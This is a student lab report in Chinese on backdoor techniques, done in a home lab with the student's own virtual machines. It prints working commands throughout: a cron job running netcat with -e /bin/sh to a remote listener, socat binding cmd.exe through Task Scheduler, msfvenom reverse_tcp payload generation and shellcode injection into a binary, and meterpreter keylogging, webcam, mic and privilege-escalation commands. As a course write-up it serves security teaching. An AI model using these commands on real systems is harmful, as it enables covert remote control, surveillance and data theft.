• 20192408胡益琳 实验二 后门原理与实践实验报告


    实验二 后门原理与实践

    1.实验内容

    1. 使用netcat实现Linux cron启动反弹连接到主机
    2. 使用socat实现Windows 任务计划启动反弹连接到Kali
    3. 使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell,实现音频、摄像头、击键记录等信息的获取
    4. 使用MSF生成shellcode注入pwn20192408.1,在目标主机运行并实现反弹连

    2.实验要求

    (1)例举你能想到的一个后门进入到你系统中的可能方式?

    • 下载了带有后门的安装包,点击了钓鱼链接,使用了带有恶意程序的U盘,系统直接被攻击。

    (2)例举你知道的后门如何启动起来(win及linux)的方式?

    • win:任务计划程序中增加定时任务
    • linux:cron定时任务
    • 开机自启动技术
    • 与文件或服务捆绑

    (3)Meterpreter有哪些给你映像深刻的功能?

    • 可以使用简单的命令生成各类后门文件
    • 获取摄像头或者击键记录

    (4)如何发现自己有系统有没有被安装后门?

    • 使用杀毒软件查杀,检查文件系统是否有异常,检查CPU占用率是否正常,查看日志与注册表等。

    3.实验过程

    (1)任务一 使用netcat获取主机操作Shell,cron启动

    • cron是linux下用来周期性执行任务的进程
    • 格式如下:

    f1 f2 f3 f4 f5 program
    其中f1 是表示分钟,f2 表示小时,f3 表示一个月份中的第几日,f4 表示月份,f5 表示一个星期中的第几天。program 表示要执行的程序。

    首先用crontab -e 指令打开cron编辑器,在其中增加一条定时任务。

    在最后一行插入命令

    */1 * * * * /bin/netcat 192.168.56.1 4311 -e /bin/sh
    

    表示每隔一分钟进行一次反弹连接到192.168.56.1的4311端口的操作
    修改完成后保存并退出。可以使用crontab -l命令查看配置。

    然后在Windows中开启监听

    ncat.exe -l 4311
    

    等待1分钟后反弹连接成功,执行指令pwd,显示/root表示成功获取Shell

    (2)任务二 使用socat获取主机操作Shell, 任务计划启动

    • 在Windows下,打开控制面板>系统和安全>管理工具找到任务计划程序,并创建任务
    • 触发器选择“工作站锁定时”
    • 操作中的“程序与脚本”选择socat.exe所在路径,添加参数tcp-listen:4311 exec:cmd.exe,pty,stderr 将cmd.exe绑定到端口4311。
    • 创建完成后,锁屏并再次登录计算机,此时任务开始运行
    • 在Kali中输入 socat -tcp:192.168.56.1:4311,获取Shell成功。

    (3)任务三 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

    • 在Kali中使用如下命令生成20192408_backdoor.exe,其中192.168.190.128为虚拟机的ip地址,端口号可以任意指定,但需要与以后步骤中的保持一致
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2408 -f exe > 20192408_backdoor.exe
    

    • 在Windows下执行如下命令,表示进入接收模式
    ncat.exe -l 2408 > 20192408_backdoor.exe
    
    • 同时在Kali内输入如下命令,开始传输文件。此处需要注意的是文件传输结束后命令行内不会回显信息,可以用Ctrl+C手动终止
    nc 192.168.56.1 2408 < 20192408_backdoor.exe
    


    此时出现病毒文件提示

    手动将文件恢复后,可以看到文件传输成功

    • 在Kali内打开监听进程,按如下操作。
        use exploit/multi/handler //使用监听模块,设置payload
    
        set payload windows/meterpreter/reverse_tcp //使用与生成后门程序时相同的payload
    
        set LHOST 192.168.190.128
    
        set LPORT 2408
    
        exploit //设置完成,开始监听
    

    注意此处set LHOST所设置的地址与set LPORT所设置的端口号需与前面生成20192408_backdoor.exe文件时所使用的的保持一致。

    • 在Windows下点击20192408_backdoor.exe文件运行
    • 监听成功,Kali成功获取被控机的Shell,此处用dir指令验证,成功显示Windows下的桌面目录。

    (4)使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

    • 在监听状态下使用 help 命令可以看到meterpreter 的用法

    1. 获取音频
    命令如下:

    record_mic
    


    在相应的文件夹中看到了文件内容

    2. 获取摄像头

    webcam_snap
    


    照片文件如下

    3. 获取视频

    webcam_stream
    


    输入命令后会跳出一个网页实时显示电脑摄像头所拍摄的实时视频,如图

    4. 获取截屏

    screenshot
    


    截屏结果同样出现在相应文件夹里,如图


    5. 获取击键记录

    keyscan_start //开始获取
    keyscan_dump  //显示开始后至此时主机的击键记录
    keyscan_stop  //结束获取
    
    

    如图,先输入keyscan_start 开始获取击键记录。然后再微信框中输入字符,再在命令行中输入keyscan_dump,其后便会显示刚才输入的字符。显示完毕后输入keyscan_stop结束捕捉。


    6. 提权
    先使用getuid指令查看当前用户,再使用getsystem指令提权,显示Error。

    原因是杀毒软件清除了相应dll文件,手动将其恢复后提权成功。


    (5)使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

    1. 使用如下指令将Shellcode注入到pwn20192408.1中生成exe文件

    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.190.128 LPORT=2408 -x ./pwn20192408.1 -f elf > pwn20192408.4
    

    其中按照msfvenom指令格式,linux/x86/meterpreter/reverse_tcp表示反弹连接攻击者,并产生一个shell。由于pwn20192408.1为32位程序,所以采用linux/x86。LHOST与LPORT分别指明了Kali的ip地址和监听所使用的端口号,-x ./pwn20192408.1表示将Shellcode注入到这个文件中,-f elf指明了所生成文件的格式。最终输出文件为pwn20192408.4

    1. 开启另一个终端进行监听。依次输入的指令如下
        use exploit/multi/handler //使用监听模块,设置payload
    
        set payload linux/x86/meterpreter/reverse_tcp //使用与生成后门程序时相同的payload
    
        set LHOST 192.168.190.128
    
        set LPORT 2408
    
        exploit //设置完成,开始监听
    
    1. 在原来的终端内使用./pwn20192408.4运行生成的后门文件,发现权限不够
    2. 使用chmod u+x * 在用户权限中添加执行权限,再次执行pwn20192408.4,攻击者终端中显示监听成功,输入ls即可查看当前目录

    4.问题及解决方案

    • 问题1:使用crontab -e编辑完毕后报如下错误
    • 问题1解决方案:对于cron指令格式掌握出错,少输了一个/1 * * * *表示每一分钟执行一次。定时任务格式如下:

    * *  *  *  *  command

    分 时 日 月 周  命令

    第1列表示分钟1~59 每分钟用*或者 */1表示
    第2列表示小时1~23(0表示0点)
    第3列表示日期1~31
    第4列表示月份1~12
    第5列标识号星期0~6(0表示星期天)
    第6列要运行的命令

    星号(*):代表所有可能的值,例如month字段如果是星号,则表示在满足其它字段的制约条件后每月都执行该命令操作。
    逗号(,):可以用逗号隔开的值指定一个列表范围,例如,“1,2,5,7,8,9”。
    中杠(-):可以用整数之间的中杠表示一个整数范围,例如“2-6”表示“2,3,4,5,6”。
    正斜线(/):可以用正斜线指定时间的间隔频率,例如“0-23/2”表示每两小时执行一次。同时正斜线可以和星号一起使用,例如*/10,如果用在minute字段,表示每十分钟执行一次。

    • 问题2:任务三中使用ncat将文件从Kali传送到Windows主机时误以为传送失败
    • 问题2解决方案:用ncat传送文件结束时在命令行没有消息回显,但可以在桌面上看到文件,即事实上传送成功了。可以使用Ctrl+C终止传送。
    • 问题3:任务五运行生成的pwn20192408.4时显示权限不够。
    • 问题3解决方案:使用chmod u+x * 授予用户执行权限,再次运行成功。

    5.学习感悟与思考

    本次实验接触到了很多新的工具,如ncat、socat、meterpreter等,通过实验对这些工具有了初步了解,也体会到了他们功能的强大。通过实验我了解到了通过反弹式连接可以更好地绕过防火墙,而启动连接可以通过Windows的任务计划程序或是Linux下的cron定时计划等方式,同时也可以通过更为复杂的方式,例如和文件捆绑、安装为服务等,后者实现起来更为复杂但也更不易被发现。虽然在这次实验中通过meterpreter成功生成了后门并实现了监听,但是是在关闭了杀毒软件的基础上,在以后的实验中还要继续实现免杀功能。

  • 相关阅读:
    vue+element ui 实现菜单无限极菜单
    DOM事件绑定原理和传播机制
    数组和对象的深浅克隆
    new源码分析和Object.create的重写
    原型和原型链的学习
    4.3 模型参数的延后初始化
    4.2 模型参数的访问、初始化和共享
    CSAPP Float Point
    4.1 模型构造
    3.16 实战Kaggle比赛:房价预测
  • 原文地址:https://www.cnblogs.com/HuYiL/p/16089546.html
Copyright © 2020-2023  润新知